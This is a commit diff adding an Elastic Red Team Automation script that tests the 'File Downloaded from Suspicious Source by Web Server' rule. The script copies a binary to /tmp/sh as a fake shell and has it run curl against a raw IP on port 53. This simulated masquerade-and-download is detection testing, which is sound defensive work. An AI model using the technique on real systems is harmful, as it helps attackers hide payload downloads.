Sync RTA File Downloaded from Suspicious Source by Web Server (#4192)

Co-authored-by: shashank-elastic <[email protected]>

(cherry picked from commit c5b1084)

rta/linux_persistence_webserver_curl_wget_download_ip_args.py

@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+import sys
+from . import RtaMetadata, common
+
+metadata = RtaMetadata(
+    uuid="8b7461f9-d569-4558-a4cf-7e476210eae8",
+    platforms=["linux"],
+    endpoint=[
+        {
+            "rule_name": "File Downloaded from Suspicious Source by Web Server",
+            "rule_id": "14f332f1-b20b-4628-b6de-14a4626fba79",
+        },
+    ],
+    techniques=["T1505", "T1059", "T1071"],
+)
+
+
+@common.requires_os(*metadata.platforms)
+def main() -> None:
+    common.log("Creating a fake executable..")
+    masquerade = "/tmp/sh"
+
+    source = common.get_path("bin", "linux.ditto_and_spawn")
+    common.copy_file(source, masquerade)
+    common.log("Granting execute permissions...")
+    common.execute(["chmod", "+x", masquerade])
+
+    commands = [masquerade, '-c', 'curl http://8.8.8.8:53 --output']
+    common.execute([*commands], timeout=5, kill=True)
+    common.log("Cleaning...")
+    common.remove_file(masquerade)
+    common.log("Simulation successfull!")
+
+
+if __name__ == "__main__":
+    sys.exit(main())